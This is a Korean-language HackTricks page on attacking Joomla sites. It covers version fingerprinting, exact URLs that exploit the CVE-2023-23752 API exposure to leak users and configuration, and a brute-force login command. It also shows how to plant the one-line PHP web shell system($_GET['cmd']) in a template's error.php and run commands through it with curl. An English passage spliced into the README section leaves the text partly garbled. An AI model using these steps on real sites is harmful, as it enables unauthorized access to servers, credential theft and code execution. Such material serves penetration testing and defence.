hacktricks/network-services-pentesting/pentesting-web/joomla.md

5.7 KiB

Joomla

htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!

Joomla 통계

Joomla는 Joomla 설치에서 사용 중인 Joomla, PHP 및 데이터베이스 버전 및 서버 운영 체제의 분해와 같은 일부 익명의 사용 통계를 수집합니다. 이 데이터는 공개 API를 통해 쿼리할 수 있습니다.

curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool

{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}

열거

발견/풋프린팅

  • 메타를 확인하세요.
curl https://www.joomla.org/ | grep Joomla | grep generator

<meta name="generator" content="Joomla! - Open Source Content Management" />
  • 로봇.txt
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
  • README.txt

Joomla

Joomla Configuration File

The Joomla configuration file configuration.php contains sensitive information such as database credentials. It is located in the root directory of the Joomla installation.

Finding Joomla Version

To find the Joomla version, you can look for the version number in the README.txt file or check the generator meta tag in the website's source code.

Exploiting Joomla Vulnerabilities

Exploiting known vulnerabilities in Joomla can provide unauthorized access to the website. It is important to keep Joomla and its extensions up to date to prevent exploitation.

Joomla Security Scanner

Using a Joomla security scanner can help identify security issues in a Joomla website. Tools like JoomScan can be used to scan for vulnerabilities and misconfigurations.

Brute Forcing Joomla Login

Brute forcing the Joomla login page can be attempted using tools like Hydra or Burp Suite to crack weak passwords and gain unauthorized access to the Joomla admin panel.

1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging

버전

  • /administrator/manifests/files/joomla.xml에서 버전을 확인할 수 있습니다.
  • /language/en-GB/en-GB.xml에서 Joomla의 버전을 얻을 수 있습니다.
  • plugins/system/cache/cache.xml에서 대략적인 버전을 확인할 수 있습니다.

자동

droopescan scan joomla --url http://joomla-site.local/

API 인증되지 않은 정보 노출:

버전 4.0.0부터 4.2.7까지는 인증되지 않은 정보 노출 취약점 (CVE-2023-23752)에 취약하여 자격 증명 및 기타 정보를 누출할 수 있습니다.

  • 사용자: http://<호스트>/api/v1/users?public=true

  • 구성 파일: http://<호스트>/api/index.php/v1/config/application?public=true

MSF 모듈: scanner/http/joomla_api_improper_access_checks 또는 루비 스크립트: 51334

브루트 포스

로그인을 브루트 포스하기 위해 이 스크립트를 사용할 수 있습니다.

sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin

admin:admin

RCE

만약 관리자 자격 증명을 획들했다면 PHP 코드 조각을 추가하여 RCE에 들어갈 수 있습니다. 이를 위해 템플릿을 사용자 정의할 수 있습니다.

  1. 구성 아래 **템플릿**을 클릭하여 템플릿 메뉴를 엽니다.
  2. 템플릿 열 아래 **protostar**를 선택하여 템플릿: 사용자 정의 페이지로 이동합니다.
  3. 마지막으로 페이지 소스를 확인하기 위해 페이지를 클릭합니다. error.php 페이지를 선택해봅시다. 다음과 같이 PHP 한 줄로 코드 실행을 얻기 위한 코드를 추가합니다:
    • system($_GET['cmd']);
  4. 저장 및 닫기
  5. curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id